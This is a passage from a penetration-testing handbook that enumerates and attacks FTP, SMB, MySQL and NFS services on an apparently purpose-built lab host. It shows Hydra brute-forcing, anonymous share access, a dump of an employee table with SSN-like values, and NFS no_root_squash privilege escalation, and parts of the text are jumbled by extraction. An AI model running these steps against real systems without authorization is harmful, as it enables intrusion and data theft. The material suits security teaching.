33 May 10 06:35 flag.txt
[NSE: writeable]
| drwxrwxrwx
3 0
0
4096 May 10 06:39 it [NSE:
writeable]
| drwxrwxrwx
2 0
0
4096 May 10 06:39 legal [NSE:
writeable]
|_drwxrwxrwx
2 65534
65534
4096 May 23 16:02 upload [NSE:
writeable]
| ftp-syst:
|
STAT:
| FTP server status:
|
Connected to 192.168.10.76
|
Logged in as ftp
|
TYPE: ASCII
|
No session bandwidth limit
|
Session timeout in seconds is 300
|
Control connection is plain text
|
Data connections will be plain text
|
At session startup, client count was 3
|
vsFTPd 3.0.5 - secure, fast, stable
|_End of status
Service Info: OS: Unix
Anonymous Login
327
5/26/25, 7:47 PM
NCA's Hacking Handbook
Anonymous login is a feature of many FTP servers where users can log in without
a username or password. By default, most servers accept the username
anonymous and any string (even blank) as the password. Historically, this was used
to allow public access to download software or documents — such as Linux ISO
mirrors or public datasets.
However, when left enabled on sensitive or internal systems, anonymous FTP is a
critical security risk.
In our intentionally vulnerable lab setup, we’ve configured the FTP server at
enumlikeapro.nca to allow anonymous access.
This means anyone can connect to the FTP server and browse its contents. No
password or user validation is required. Here’s how you can try it:
❯ ftp anonymous@enumlikeapro.nca
Connected to enumlikeapro.nca.
220 (vsFTPd 3.0.5)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Once connected, you can explore the directory structure:
ftp> ls
229 Entering Extended Passive Mode (|||40010|)
150 Here comes the directory listing.
-rwxrwxrwx
1 0
0
32 May 10 06:38 creds.txt
drwxrwxrwx
2 0
0
4096 May 10 06:39 devops
drwxrwxrwx
4 0
0
4096 May 10 06:39 engineering
drwxrwxrwx
3 0
0
4096 May 10 06:39 finance
-rwxrwxrwx
1 0
0
33 May 10 06:35 flag.txt
drwxrwxrwx
3 0
0
4096 May 10 06:39 it
drwxrwxrwx
2 0
0
4096 May 10 06:39 legal
drwxrwxrwx
2 65534
65534
4096 May 23 16:02 upload
226 Directory send OK.
You’ll see that sensitive files like creds.txt , and department folders
( engineering/ , it/ , legal/ ) are exposed to the public. This demonstrates the
328
5/26/25, 7:47 PM
NCA's Hacking Handbook
real-world danger of anonymous login paired with poor directory permissions.
Realistic Scenarios
Anonymous login becomes even more dangerous when:
• A developer accidentally uploads .env or .conf files with API keys
• creds.txt includes reused SSH or application passwords
• The FTP root is also the web root (e.g., /var/www/html ), making uploaded
scripts publicly accessible
Basic FTP Commands
Once you connect to an FTP server, you enter an interactive shell where you can
issue commands to list, download, upload, and navigate files and directories. These
commands are very similar to those used in Unix-like systems — but with slight
differences.
Following is a cheatsheet you can refer to and give it a try yourself, since you
already have used linux, it shouldn't be that big of a deal:
Command
Description
ftp <host>
Connect to an FTP server
/ dir
List files and directories
ls
cd <dir>
Change directory
get <file>
Download a file from the server
put <file>
Upload a file to the server
mget <files>
Download multiple files (wildcards allowed)
mput <files>
Upload multiple files
pwd
Print working directory on the server
329
5/26/25, 7:47 PM
NCA's Hacking Handbook
delete <file>
Delete a file on the server (if allowed)
mkdir <dir>
Create a new directory on the server
rmdir <dir>
Remove a directory
/ bye
Exit the FTP session
quit
help
Show available FTP commands
Brute-Forcing FTP Credentials
When anonymous access is disabled or limited, attackers often pivot to bruteforcing valid user credentials — especially when local_enable=YES is set in the
FTP configuration. This means any user account on the server (like gita or hari )
can be targeted for login.
One of the most effective and commonly used tools for brute-forcing credentials is
Hydra . It supports parallelized login attempts and works against many services,
including FTP.
Here’s how we can use Hydra to target the gita user on our lab’s FTP server:
❯ hydra -l gita -P EnumLikeAPro/passwords.txt ftp://enumlikeapro.nca -t
32
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
use in military or secret service organizations, or for illegal
purposes (this is non-binding, these *** ignore laws and ethics
anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-0523 22:12:53
[DATA] max 32 tasks per 1 server, overall 32 tasks, 52 login tries
(l:1/p:52), ~2 tries per task
[DATA] attacking ftp://enumlikeapro.nca:21/
[21][ftp] host: enumlikeapro.nca
login: gita
password:
REDACTED_PASSWORD
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-0523 22:12:59
330
5/26/25, 7:47 PM
NCA's Hacking Handbook
If EnumLikeAPro/passwords.txt includes the correct password, Hydra will quickly
find it.
Credential Reuse Across Services
In many real-world scenarios, users reuse passwords across multiple services
(e.g., FTP, SSH, databases). In our lab environment, we’ve intentionally configured
things this way to teach this exact lesson.
After brute-forcing FTP for user gita , try logging into SSH using the same
credentials:
ssh gita@enumlikeapro.nca
You’ll likely be greeted with a shell prompt — meaning your FTP brute force just
pivoted into full shell access via SSH.
You have already accessed shell for gita in ssh enumeration part, so you can skip this
part.
Shared Home Directories
Another important lab configuration we’ve made is that:
🔐 The home directory used for FTP access is the same as the user's SSH home
directory.
So if you upload a file via FTP to /home/gita/upload/ , and then log in via SSH as
gita , you’ll find the same file in that directory.
This mirrors many real-world misconfigurations where:
• FTP and SSH use the same user accounts
331
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Home directories are shared across services
• Files dropped via FTP can be used for post-exploitation, data exfiltration, or
command execution
🧠 Note: While we’ve set this up intentionally for demonstration, this isn’t always the
case. In production environments, FTP may use a restricted chroot jail or a different
directory tree. Always test and enumerate!
332
5/26/25, 7:47 PM
NCA's Hacking Handbook
SMB
SMB (Server Message Block) is a network file sharing protocol that allows systems
to:
• Share files, printers, and other resources
• Access remote directories as if they were local
• Communicate between Windows, Linux, and macOS systems on a LAN
SMB is extremely common in corporate environments — especially in Windows
networks — where it’s used to share documents, access drives, and centralize file
storage.
SMB vs Samba – A Bit of History
• SMB is the protocol, originally designed by IBM in the 1980s, later adopted and
heavily used by Microsoft.
• Samba is a free Linux/Unix implementation of the SMB protocol, allowing nonWindows systems to participate in SMB networks.
• When you install Samba on Linux, you are essentially creating an SMB server
compatible with Windows clients.
SMB Default Ports
Protocol
Port
Description
SMB
445
Direct SMB over TCP
NetBIOS
137
NetBIOS name service
NetBIOS
138
NetBIOS datagram service
NetBIOS
139
SMB over NetBIOS (legacy
support)
333
5/26/25, 7:47 PM
NCA's Hacking Handbook
In modern networks, port 445 is the main port used for SMB traffic.
What Are SMB Shares?
An SMB Share is a directory made accessible over the network using the SMB
protocol.
For example:
• A server might have a share called \\company-server\finance
• Employees can map that share to a local drive or browse it via File Explorer or
terminal.
There are two key types of shares:
• Public (Guest/Anonymous) Shares – no login required, accessible to everyone
• Restricted Shares – require authentication, often tied to domain or system users
Our SMB Lab Setup (/etc/samba/smb.conf)
We created three shares using Samba on Linux:
334
5/26/25, 7:47 PM
NCA's Hacking Handbook
[public]
path = /srv/smb/public
browseable = yes
read only = no
guest ok = yes
[finance]
path = /srv/smb/finance
browseable = yes
read only = yes
guest ok = yes
[devops]
path = /srv/smb/devops
browseable = yes
read only = yes
guest ok = yes
And filled them with files like:
•
•
•
ftp_creds.txt
– Contains a fake FTP credentials
db_config.env
– Contains a fake database password
ssh_creds.txt
– Contains fake SSH login details
Misconfigurations in This Setup
These settings are deliberately insecure to help you learn how attackers abuse
SMB:
Misconfiguration
Why It's Dangerous
guest ok = yes
Anyone can access shares without
authentication
read only = no
In public , attackers can upload or modify
files
Sensitive files in public shares
Attackers can harvest credentials or secrets
Overly permissive permissions (777)
Allows anyone to read/write/delete
335
5/26/25, 7:47 PM
NCA's Hacking Handbook
In real-world systems, these misconfigs could lead to:
• Credential theft
• Initial access to internal systems
• Malware upload and lateral movement
Enumerate SMB
When you're facing an SMB service during a penetration test, you’ll use a set of
standard tools to enumerate shares, check access, and extract useful data.
Nmap Scan
❯ nmap enumlikeapro.nca -T4 -sCV -p 139,445
PORT
STATE SERVICE
VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Host script results:
| smb2-time:
|
date: 2025-05-23T17:02:46
|_ start_date: N/A
|_nbstat: NetBIOS name: ENUMLIKEAPRO, NetBIOS user: <unknown>, NetBIOS
MAC: <unknown> (unknown)
| smb2-security-mode:
|
3:1:1:
|_
Message signing enabled but not required
Let’s walk through three essential SMB tools every beginner should learn:
smbclient – Command-Line SMB Client
is a built-in Linux tool that acts like a command-line FTP client, but for
SMB. It allows you to connect to remote SMB shares and interact with them directly
— listing files, downloading data, or uploading content (if the share allows it).
smbclient
336
5/26/25, 7:47 PM
NCA's Hacking Handbook
This is your go-to tool for manually exploring a share — just like browsing folders
in File Explorer, but from the terminal.
Lets list all shares in enumlikeapro.nca using smbclient:
❯ smbclient -L //enumlikeapro.nca -N
Sharename
Type
Comment
-----------------print$
Disk
Printer Drivers
public
Disk
finance
Disk
devops
Disk
IPC$
IPC
IPC Service (enumlikeapro server (Samba,
Ubuntu))
SMB1 disabled -- no workgroup available
•
•
-L
lists available shares
-N
skips password prompt (anonymous)
Once we have listed all available shares, we can try to connect to any one of them
like:
❯ smbclient //enumlikeapro.nca/public -N
Try "help" to get a list of possible commands.
smb: \>
• Once connected, you'll be in an interactive shell.
Now the commands here are similar to what we learned in ftp section but here is a
recap:
smb: \> ls
smb: \> cd File
smb: \> get file.txt
smb: \> put evil.sh
smb: \> exit
# List files in the share
# Change Directory
# Download a file
# Upload a file (if allowed)
# Quit
337
5/26/25, 7:47 PM
NCA's Hacking Handbook
If you find credentials during an engagement, come back and try connecting with a
username:
❯ smbclient //enumlikeapro.nca/devops -U gita
Password for [WORKGROUP\gita]:
Try "help" to get a list of possible commands.
smb: \> ls
.
D
0
2025
..
D
0
2025
ssh_creds.txt
N
36
2025
Fri May 23 22:24:14
Fri May 23 22:24:10
Fri May 23 22:24:14
11758760 blocks of size 1024. 5225908 blocks available
We can also pass the password for gita from command line like so:
❯ smbclient //enumlikeapro.nca/devops -U gita%password
Try "help" to get a list of possible commands.
smb: \> ls
.
D
0
2025
..
D
0
2025
ssh_creds.txt
N
36
2025
Fri May 23 22:24:14
Fri May 23 22:24:10
Fri May 23 22:24:14
11758760 blocks of size 1024. 5225908 blocks available
smbmap : Automated Share Scanner & Permission
Checker
While smbclient lets you interact with one share at a time, smbmap scans all
shares on the SMB server and tells you what level of access you have on each.
helps you quickly identify which shares are readable, writable, or require
authentication. It's a perfect recon tool.
smbmap
338
5/26/25, 7:47 PM
NCA's Hacking Handbook
Lets run the tool and check available shares:
❯ smbmap -H enumlikeapro.nca
________ ___
___ _______
___
___
__
_______
/"
)|" \
/" ||
_ "\ |" \
/" |
/""\
|
__ "\
(:
\___/ \
\ //
|(. |_) :) \
\ //
|
/
\
(.
|__) :)
\___ \
/\ \/.
||:
\/
/\
\/.
|
/' /\ \
|:
____/
__/ \
|: \.
|(| _ \ |: \.
| // __' \
(|
/
/" \
:) |. \
/: ||: |_) :)|. \
/: | /
/ \
\ /|__/
\
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/
\___)
(_______)
---------------------------------------------------------------------------SMBMap - Samba Share Enumerator | Shawn Evans ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 192.168.10.163:445 Name: enumlikeapro.nca
Authenticated
Disk
Comment
---------print$
Printer Drivers
public
finance
devops
IPC$
Service (enumlikeapro server (Samba, Ubuntu))
Status:
Permissions
----------NO ACCESS
READ, WRITE
READ ONLY
READ ONLY
NO ACCESS
IPC
This tells you that public allows file uploads, while the other two are read-only.
If above didn't work we can pass credentials to smbmap , for that you can look help
page of smbmap.
339
5/26/25, 7:47 PM
NCA's Hacking Handbook
enum4linux : SMB Reconnaissance All-in-One
is a powerful recon tool for enumerating SMB and NetBIOS
information — especially useful against Windows systems or Samba servers that
mimic Windows behavior.
enum4linux
This tool pulls detailed system information like:
• List of users and groups
• Share names and permissions
• OS details and domain information
• Password policies (sometimes)
Let me run the tool with -a flag meaning that we want to try all tests.
Expand me for enum4linux output
340
5/26/25, 7:47 PM
NCA's Hacking Handbook
341
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ enum4linux -a enumlikeapro.nca
Starting enum4linux v0.9.1 (
http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri
May 23 22:44:00 2025
=========================================( Target Information
)=========================================
Target ........... enumlikeapro.nca
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain
admins, root, bin, none
==========================( Enumerating Workgroup/Domain on
enumlikeapro.nca )==========================
[+] Got domain/workgroup name: WORKGROUP
==============================( Nbtstat Information for
enumlikeapro.nca )==============================
Looking up status of 192.168.10.163
ENUMLIKEAPRO
<00> B <ACTIVE>
Service
ENUMLIKEAPRO
<03> B <ACTIVE>
Service
ENUMLIKEAPRO
<20> B <ACTIVE>
Service
WORKGROUP
<00> - <GROUP> B <ACTIVE>
Domain/Workgroup Name
WORKGROUP
<1e> - <GROUP> B <ACTIVE>
Elections
Workstation
Messenger
File Server
Browser Service
MAC Address = 00-00-00-00-00-00
=================================( Session Check on
enumlikeapro.nca )=================================
[+] Server enumlikeapro.nca allows sessions using username '',
password ''
342
5/26/25, 7:47 PM
NCA's Hacking Handbook
==============================( Getting domain SID for
enumlikeapro.nca )==============================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a
workgroup
=================================( OS information on
enumlikeapro.nca )=================================
[E] Can't get OS info with smbclient
[+] Got OS info for enumlikeapro.nca from srvinfo:
ENUMLIKEAPRO
Wk Sv PrQ Unx NT SNT enumlikeapro server
(Samba, Ubuntu)
platform_id
:
500
os version
:
6.1
server type
:
0x809a03
=====================================( Users on
enumlikeapro.nca )=====================================
Use of uninitialized value $users in print at ./enum4linux.pl
line 972.
Use of uninitialized value $users in pattern match (m//) at
./enum4linux.pl line 975.
Use of uninitialized value $users in print at ./enum4linux.pl
line 986.
Use of uninitialized value $users in pattern match (m//) at
./enum4linux.pl line 988.
===============================( Share Enumeration on
enumlikeapro.nca )===============================
Sharename
--------print$
public
finance
devops
Type
---Disk
Disk
Disk
Disk
Comment
------Printer Drivers
343
5/26/25, 7:47 PM
NCA's Hacking Handbook
devops
Disk
IPC$
IPC
IPC Service (enumlikeapro server
(Samba, Ubuntu))
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on enumlikeapro.nca
//enumlikeapro.nca/print$
Writing: N/A
//enumlikeapro.nca/public
N/A
//enumlikeapro.nca/finance
N/A
//enumlikeapro.nca/devops
N/A
Mapping: DENIED Listing: N/A
Mapping: OK Listing: OK Writing:
Mapping: OK Listing: OK Writing:
Mapping: OK Listing: OK Writing:
[E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//enumlikeapro.nca/IPC$ Mapping: N/A Listing: N/A Writing: N/A
==========================( Password Policy Information for
enumlikeapro.nca )==========================
[+] Attaching to enumlikeapro.nca using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] ENUMLIKEAPRO
[+] Builtin
[+] Password Info for Domain: ENUMLIKEAPRO
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
344
5/26/25, 7:47 PM
NCA's Hacking Handbook
MySQL
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
Threshold: None
MySQL is one[+]
of Account
the most Lockout
popular open-source
relational database management
[+] Forced
Log by
offwebsites,
Time: 37applications,
days 6 hours
minutesto store and
systems (RDBMS).
It is used
and21services
manage structured data such as user accounts, orders, logs, personal information,
etc.
[+] Retieved partial password policy with rpcclient:
MySQL is often paired with web servers (like Apache/Nginx) in a stack (e.g., LAMP,
Password
Complexity:
LEMP)
and runs
on port 3306Disabled
by default.
Minimum Password Length: 5
=====================================( Groups on
enumlikeapro.nca )=====================================
Why Would a MySQL Server Be Accessible
Over the Network?
[+] Getting builtin groups:
Typically, MySQL servers are meant to be accessed only locally (from
localhost
[+]) or
Getting
from trusted
builtin
IPsgroup
(like a memberships:
backend webserver).
However,[+]
dueGetting
to misconfigurations
or neglect:
local groups:
• It may be exposed to the internet.
[+] Getting local group memberships:
• It may be accessible from any IP ( 0.0.0.0 ).
• Weak authentication policies may be in place.
[+] Getting domain groups:
• And in many cases, sensitive data is not encrypted inside databases.
[+]
Getting domain group memberships:
Enumeration
================( Users on enumlikeapro.nca via RID cycling
(RIDS: 500-550,1000-1050) )================
Let’s say we found a host and want to see if MySQL is running. We use nmap to
[I] Found new SID:
enumerate:
S-1-22-1
[I] Found new SID:
S-1-5-32
[I] Found new SID:
345
5/26/25, 7:47 PM
NCA's Hacking Handbook
[ ]
S-1-5-32
❯ nmap enumlikeapro.nca -T4 -sCV -p 3306
PORT [I] Found
STATE new
SERVICE
SID: VERSION
3306/tcp
open mysql
MySQL 8.0.42-0ubuntu0.22.04.1
S-1-5-32
| ssl-cert: Subject:
commonName=MySQL_Server_8.0.42_Auto_Generated_Server_Certificate
[I] Found new SID:
| NotS-1-5-32
valid before: 2025-05-23T17:06:45
|_Not valid after: 2035-05-21T17:06:45
|_ssl-date:
TLS randomness
does not
timelogon username
[+] Enumerating
users using
SID represent
S-1-5-32 and
| mysql-info:
'', password ''
|
Protocol: 10
|
Version:
8.0.42-0ubuntu0.22.04.1
S-1-5-32-544
BUILTIN\Administrators (Local Group)
|
Thread
ID:
14
S-1-5-32-545 BUILTIN\Users (Local Group)
|
Capabilities
65535
S-1-5-32-546 flags:
BUILTIN\Guests
(Local Group)
|
Some Capabilities: Speaks41ProtocolNew, SupportsCompression,
S-1-5-32-547 BUILTIN\Power Users (Local Group)
DontAllowDatabaseTableColumn,
ODBCClient,
Speaks41ProtocolOld,
S-1-5-32-548 BUILTIN\Account
Operators
(Local Group)
FoundRows,
InteractiveClient,
LongPassword,
SwitchToSSLAfterHandshake,
S-1-5-32-549 BUILTIN\Server Operators (Local
Group)
SupportsLoadDataLocal,
IgnoreSigpipes,
SupportsTransactions,
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, Support41Auth,
LongColumnFlag, SupportsAuthPlugins, SupportsMultipleStatments,
[+] Enumerating users using SID S-1-5-21-208997594-2400103124SupportsMultipleResults
596975992 and logon username '', password ''
|
Status: Autocommit
|
Salt: \x0Fy\x08"PAjGZMv_R\x14%Ylj]+
S-1-5-21-208997594-2400103124-596975992-501
|_ Auth
Plugin Name: caching_sha2_password
ENUMLIKEAPRO\nobody
(Local User)
S-1-5-21-208997594-2400103124-596975992-513 ENUMLIKEAPRO\None
(Domain Group)
This shows MySQL is running on port 3306 , using caching_sha2_password for
[+] Enumerating
users
using
authentication
— default
in MySQL
8.0.SID S-1-22-1 and logon username
'', password ''
S-1-22-1-1000 Unix User\enumlikeapro (Local User)
S-1-22-1-1001 Unix User\sita (Local User)
S-1-22-1-1002 Unix User\ram (Local User)
S-1-22-1-1003 Unix User\admin (Local User)
S-1-22-1-1004
Unix User\dev
(Local User)
If a MySQL
server is exposed
and:
S-1-22-1-1005 Unix User\gita (Local User)
Why Is This a Problem?
weak credentials
• Uses =============================(
Getting printer info for
enumlikeapro.nca
remote login )=============================
• Allows
PII (personally
identifiable information), user accounts, financial
• Contains
No printers
returned.
records, or even API keys
Then anenum4linux
attacker can:complete on Fri May 23 22:44:29 2025
• Dump all data
346
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Exfiltrate internal secrets
• Potentially find credentials reused for other services like SSH, web apps, or
email
This is a massive breach risk.
Bruteforcing with Hydra
We can use Hydra to bruteforce MySQL credentials if we suspect usernames and
weak passwords:
❯ hydra -l anil -P EnumLikeAPro/passwords.txt mysql://enumlikeapro.nca t 32
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
use in military or secret service organizations, or for illegal
purposes (this is non-binding, these *** ignore laws and ethics
anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-0523 23:13:01
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel
connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 52 login tries
(l:1/p:52), ~13 tries per task
[DATA] attacking mysql://enumlikeapro.nca:3306/
[3306][mysql] host: enumlikeapro.nca
login: anil
password:
REDACTED_PASSWORD
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-0523 23:13:02
If credentials are guessed or found:
347
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ mysql -h enumlikeapro.nca -u anil -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 252
Server version: 8.0.42-0ubuntu0.22.04.1 (Ubuntu)
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input
statement.
mysql>
Once logged in, we can we can start enumerating the databases.
To list the databases in this mysql instance we can use following command:
mysql> show databases;l
+--------------------+
| Database
|
+--------------------+
| employee_data
|
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)
We can see 3 databases available here, out of them information_schema and
performance_schema are default mysql databases which stores mysql
informations. But employee_data is non-standard meaning it should be created by
someone.
We can choose employee_data database like so:
348
5/26/25, 7:47 PM
NCA's Hacking Handbook
mysql> use employee_data;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
And we can now list tables in this database like so:
mysql> show tables;
+-------------------------+
| Tables_in_employee_data |
+-------------------------+
| archive_2020
|
| employees
|
+-------------------------+
2 rows in set (0.00 sec)
We can find two tables here. Let's write a SQL Query to list all contents from
employees tables:
mysql> select * from employees;
+-----+---------------------+-------------+------------------------------------+------------+--------+-------------+
| id | full_name
| department | email
| phone
| salary | ssn
|
+-----+---------------------+-------------+------------------------------------+------------+--------+-------------+
|
1 | Steven Jones
| Sales
| whill@jones.com
| 0962287394 | 74295 | 256-77-0221 |
|
2 | Michael Martin
| Engineering | lduncan@gmail.com
| 6651673378 | 58878 | 609-57-3225 |
|
3 | Rebekah Williams
| Legal
| keithchurch@gmail.com
| 5410395848 | 77069 | 107-20-6423 |
|
4 | Craig Lewis
| Sales
| ehoover@yahoo.com
| 7742157975 | 125740 | 745-52-0685 |
|
5 | Katie Watson
| Engineering | william06@simmons.com
| 8964647675 | 104014 | 093-05-2943 |
..SNIP..
We can also query the colums of our interest like so:
349
5/26/25, 7:47 PM
NCA's Hacking Handbook
mysql> select id,full_name from employees;
+-----+---------------------+
| id | full_name
|
+-----+---------------------+
|
1 | Steven Jones
|
|
2 | Michael Martin
|
|
3 | Rebekah Williams
|
|
4 | Craig Lewis
|
|
5 | Katie Watson
|
|
6 | Aaron Blake
|
..SNIP..
Realistic Credential Sources
In real-world scenarios, credentials may be:
• Found in config files on a compromised system
• Reused from FTP, SSH, or web panel
• Leaked in backups, source code, or logs
In our lab, the same user ( anil ) had access to MySQL, demonstrating how
credential reuse increases risk.
Want to Learn SQL?
Once you gain access to a MySQL database, knowing how to use SQL becomes
very important. You’ll need to know how to:
• View databases and tables
• Extract information from columns
• Search for sensitive data
• Dump flags or credentials
If you're not already familiar with SQL queries, this is the perfect time to learn them.
350
5/26/25, 7:47 PM
NCA's Hacking Handbook
You can learn more about SQL queries from here:
• https://sqlzoo.net/
• https://www.w3schools.com/sql/
• https://www.hackerrank.com/domains/sql
These sites will teach you:
• SELECT , WHERE , LIKE , LIMIT , ORDER BY
• JOIN s
• INFORMATION_SCHEMA usage
• and more advanced database techniques
As a pentester or CTF player, being fluent in SQL is extremely valuable — both for
exploitation and for understanding how systems store and manage data.
351
5/26/25, 7:47 PM
NCA's Hacking Handbook
NFS
NFS (Network File System) is a protocol that allows a system to share directories
and files with others over a network. It’s mainly used in internal networks to share
files between systems easily.
For example, a company might use NFS to let multiple servers or departments
access shared documents or configuration files from a central file server.
• Easy for admins to manage shared files
• Dangerous if misconfigured – attackers can mount and access private files
Default Ports
• TCP/UDP 2049 – Main NFS port
• Others include: 111 (rpcbind), 20048 (mountd) depending on version and config
NFS in Our Lab
We’ve configured NFS on the lab machine with misconfigurations on purpose, so
you can practice exploiting them.
Here’s what we did:
• Shared a directory: /srv/nfs/private_data
• Allowed anonymous access to everyone on the network ( * )
• Made it read-write ( rw )
• Disabled root protection using no_root_squash (which lets attackers act as
root!)
Inside the shared folder, we added some files like:
•
aws_keys.txt
→ fake API keys
352
5/26/25, 7:47 PM
•
•
•
NCA's Hacking Handbook
db_creds.txt
→ fake database username/password
secret_flag.txt
→ contains a flag
vpn_config.ovpn , user_backup.sql , etc.
These are meant to look like real, sensitive files a pentester or attacker would love
to find.
Enumeration
The very first thing we do is scan the target machine to see if NFS is running. For
this, we use the well-known tool nmap .
❯ nmap enumlikeapro.nca -T4 -sCV -p 2049
PORT
STATE SERVICE VERSION
2049/tcp open nfs
3-4 (RPC #100003)
If NFS is active, you’ll get output showing that port 2049 is open and the service is
identified as NFS.
Enumerating Exported Shares
Once we know NFS is up, the next step is to see what directories it is sharing with
the network. This is called an “export”.
Use the showmount tool to list what’s available:
❯ showmount -e enumlikeapro.nca
Export list for enumlikeapro.nca:
/srv/nfs/private_data *
Here, /srv/nfs/private_data is the directory being shared. The * means it’s
shared with everyone — no restriction on IP address, which is a red flag in terms
of security.
353
5/26/25, 7:47 PM
NCA's Hacking Handbook
Mounting the NFS Share
Now that we know a shared directory is available, we can mount it to our local
machine. Mounting is like linking that remote folder to your local system so that you
can open and interact with it just like any other directory.
# First Create a Directory to Mount the Export
❯ sudo mkdir /tmp/mount_private_data
# Following command will mount the export to /tmp/mount_private_data
directory
❯ sudo mount -t nfs enumlikeapro.nca:/srv/nfs/private_data
/tmp/mount_private_data
• This mounts the NFS directory to /tmp/mount_private_data on your local
machine.
• If the export allows it (like in our misconfigured setup), it will mount without
asking for credentials.
Now check the files:
❯ exa /tmp/mount_private_data --tree
/tmp/mount_private_data
├── aws_keys.txt
├── config.php
├── db_creds.txt
├── internal_docs.pdf
├── secret_flag.txt
├── user_backup.sql
└── vpn_config.ovpn
Interacting with the Files
You can now read and even modify the files:
354
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ cat /tmp/mount_private_data/config.php
username=admin
password=supersecurepass
If the share is writable, you can also:
❯ echo "H4CK3D Y0UUU" > /tmp/mount_private_data/hacked.txt
❯ ls -la /tmp/mount_private_data/hacked.txt
-rw-rw-r-- 1 rezy rezy 13 May 23 23:40
/tmp/mount_private_data/hacked.txt
That’s because of read-write permissions and lack of root protection
( no_root_squash ). In this setup, you’re effectively acting as a remote root user — a
massive security risk.
Since the NFS share is configured with no_root_squash , if we upload a SUID
binary that performs malicious actions — such as making /bin/bash a SUID binary
— we can then access that shell and get an elevated (root) shell. There are many
such misconfigurations that attackers can use for privilege escalation. We'll cover
more of these advanced techniques in a later section.
355
0
You can add this document to your study collection(s)
Sign in Available only to authorized usersYou can add this document to your saved list
Sign in Available only to authorized users(For complaints, use another form )